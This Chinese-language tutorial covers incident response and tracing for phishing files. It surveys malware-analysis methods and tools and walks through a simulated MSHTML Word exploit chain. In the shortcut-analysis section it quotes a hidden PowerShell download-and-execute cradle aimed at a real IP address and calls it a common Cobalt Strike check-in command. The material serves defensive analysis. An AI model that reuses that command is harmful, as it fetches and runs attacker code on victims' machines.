钓鱼文件应急溯源:方法篇
内容概览
背景
恶意软件分析技术的市场
如今,恶意软件分析已是信息安全领域的一个整体产业:
发布保护产品的反病毒引擎实验室,高度专业化的专家小组,甚至恶意软件编写者本身也参与其中,他们争夺一个潜在的客户--"受害者"。
常见的分析技术
- 静态恶意软件分析
静态恶意软件分析在不主动运行恶意软件代码的情况下查找可能损害系统的文件,使其成为暴露恶意库或打包文件的安全工具。静态恶意软件分析可以发现有关恶意软件性质的线索,例如文件名、哈希、IP 地址、域和文件头数据。可以使用各种工具(例如网络分析器)观察恶意软件。
- 动态恶意软件分析
动态恶意软件分析使用沙盒,沙盒是一个安全、隔离的虚拟环境,您可以在其中运行可疑的危险代码。安全专业人员可以密切监视沙箱中的恶意软件,而不必担心感染系统或网络的其余部分,从而使他们能够收集有关恶意软件的更多信息。
- 混合恶意软件分析
混合恶意软件分析结合了静态和动态技术。例如,如果恶意代码对计算机的内存进行更改,则动态分析可以检测到该活动。然后,静态分析可以准确确定进行了哪些更改。
常见的检测工具展示
网络分析工具
- NetLimiter
官网:https://www.netlimiter.com/
可通过此工具监测程序的网络通讯信息,以方便进一步分析
- CurrPorts
官网:https://www.nirsoft.net/utils/cports.html
可通过此工具显示本地计算机上所有当前打开的TCP/IP和UDP端口的列表。对于列表中的每个端口,还显示打开该端口的进程的信息,包括进程名称、进程的完整路径、进程的版本信息(产品名称、文件描述等)、进程的创建时间以及创建该进程的用户。此外,CurrPorts允许你关闭不需要的TCP连接,杀死打开端口的进程,并将TCP/UDP端口信息保存到HTML文件、XML文件或以制表符分隔的文本文件中。
- TeaPot
可通过此工具监测目标系统的DNS解析,可有效应用于对APT远控木马的检测。
- HTTPDebuger
官网:https://www.httpdebugger.com/
可通过此攻击http与https数据
行为监控工具
- DiffView
官网:https://www.adlice.com/diffview/
可通过此工具追踪一个程序在你系统上所做的修改或一些操作进行监控
- 火绒剑
可通过此工具在如下图所展示的角度分析程序运行后做了什么,以分析是否为恶意程序以及进行辅助分析工作
- Comodo
可通过此工具的HIPS与防火墙功能监测程序运行后做了什么,以进行分析
https://www.comodo.com/home/internet-security/free-internet-security.php
反编译与调试工具
- GDA 与Frida
通过GDA与Frida来分析APK是否存在恶意行为
- x64dbg
可通过此工具深入分析程序的执行情况以及运行原理
知识扩展
思路
一个恶意软件分析思路图展示,如下图展示了三个编码级别
恶意软件作者:使用高级语言编写恶意程序
计算机:CPU识别代码进行执行
恶意软件分析人员:通过反编译手段进行分析
发包函数
针对软件的网络信息常针对底层运行原理,通过拦截发布函数进行分析
WSPSend函数在一个连接的套接字上发送数据。
WSPSendTo函数使用重叠的I/O将数据发送到一个特定的目的地。
WSPRecv函数在一个套接字上接收数据。
WSPRecvFrom函数接收一个数据报并存储源地址。
漏洞利用类钓鱼
模拟
打开Word 发现有下载连接
模拟恶意行为打开了计算器
真实背景利用案例
该漏洞存在于MSHTML,即Internet Explorer的引擎。虽然现在很少有人使用IE(甚至微软也强烈建议改用其较新的浏览器Edge),但这个旧的浏览器仍然是现代操作系统的一个组成部分,而且其他一些程序也使用其引擎来处理网络内容。特别是,微软的Office应用程序,如Word和PowerPoint,都依赖它。
钓鱼邮件示例
自该漏洞发布以来,安全研究人员在Twitter上警告说,尽管微软Office的 “保护视图 ”功能会阻止该漏洞,但这是多么危险。当Office打开一个文档时,它会检查它是否被标记为 “网络标记”(MoTW),这意味着它来自于互联网。如果这个标签存在,微软将以只读模式打开文档,有效地阻止了该漏洞,除非用户点击 “启用编辑 ”按钮。
但历史表明,许多用户忽略了这一警告,还是点击了 "启用编辑 "按钮。
但还有有许多方法可以使文件不收到MoTW标志,从而有效地否定了这种防御。
模拟分析
- 网络分析示例
发起程序-
WINWORD.EXE *64位
请求地址-
http://192.168.86.144/
http://192.168.86.144/word.cab
解析:cab是windows的压缩格式
- 行为监控分析示例
正常:就是打开一个word文档
可疑:调用了控制面板程序control.exe
并通过控制面板执行临时文件夹下名为msword.inf配置文件,之后通过运行cmd程序打开计算器程序calc.exe(这里代指恶意程序)
- 解包查看
结合之前网络分析访问此地址后跳转下载可疑文件
- 下载分析
通过control(控制面板)程序运行msword.inf脚本
INF文件中包含硬件设备的信息或脚本以控制硬件操作。
- 解析
看到了计算器相关内容(calc.exe 这里代指恶意程序)
- 反汇编定位
关键函数运行完毕,恶意程序已成功加载
进入查看(已加载恶意配置文件)
ShellExecuteExW函数(可通常此函数执行外部程序或打开文件)
rundll32.exe(rundll32.exe用于在内存中运行DLL文件,
它们会在应用程序中被使用,可用于在内存中执行恶意dll)
栈回溯
执行参数
溯源
常根据分析的数据如IP、MD5、签名等等通过一些方法深入定位制作者
常用的一些工具
- 埃文
可通过此工具进行IP定位
- BestTrace
https://www.ipip.net/product/client.html
IP归属快速查询
- 备案、Whois、威胁情报查询系统
https://beian.miit.gov.cn/#/Integrated/index
https://ti.sangfor.com.cn/analysis-platform
判断
- 后缀名与显示的logo
如图所示显示的是常见pdf logo但实际是可执行文件
- 文件类型
如图所示,通过一些方法使其后缀名看起来正常,但实际是可执行文件,此类可通过属性文件类型信息查看
- hash
例如,假设你有20个来源不明的文件,你能够使用它们的MD5值在virscan、Virustotal之类的查杀网站进行对比来识别它们的安全度
- 时间戳
如图所示 编译日期与版本信息差别过大
- 邮件信息
发件人与所属单位对比
- 打开判断
执行恶意宏代码,在TEMP目录释放XLS文件
然后通过WMIC启动恶意XLS文件
- 专业工具
https://github.com/emalderson/ThePhish
钓鱼邮件分析系统
- 扫描
- 代码分析
分析其具体行为与作用对比
- 快捷方式
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.48.85.228/favicon’))”
常见的cs上线命令
powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring(‘’)
powershell上线命令可以简化,删除了两个括号和两个双引号
案例讲解
- 快捷方式
网上找的样本进行分析,如下图所示,解包内容存在欺骗诱导行为
- 标题诱导
查看属性与解混混淆发现为恶意程序
- 执行监控
打开文档后发现有外联与执行程序行为
网上分析示例
- 属性查看
在PEstudio中检查样本的属性,恶意软件被打包,所有的字符串都被加密了
- 反编译逐步分析
获取进程的名称,接着解密一些字符串,并将其中的两个字符串连接起来创建 EXE 文件的名称。
防止恶意程序自我感染的过程中,恶意软件会将进程的完整路径与解析的应用程序进行比较。如果它们相同,恶意软件将返回并结束此功能
遍历信息
c2
内容过多这里不展示了,下图是总结与查杀规则
查杀
- 扫描查杀思路图
不同的环境不同的思路
- 专业扫描工具
- 弱点扫描
用户帐户控制 (UAC) 有助于防止恶意软件损坏电脑,并且有助于组织部署易于管理的桌面。 借助 UAC,应用和任务将始终在非管理员帐户的安全上下文中运行,除非管理员专门授予管理员级别的访问系统权限。 UAC 可阻止自动安装未经授权的应用并防止意外更改系统设置。
总结
- 对于文件
- 内存层防护与监控
针对攻击的多样化建议在内存层进行防护与监控,目前国内安芯网盾这方面看到过相关资料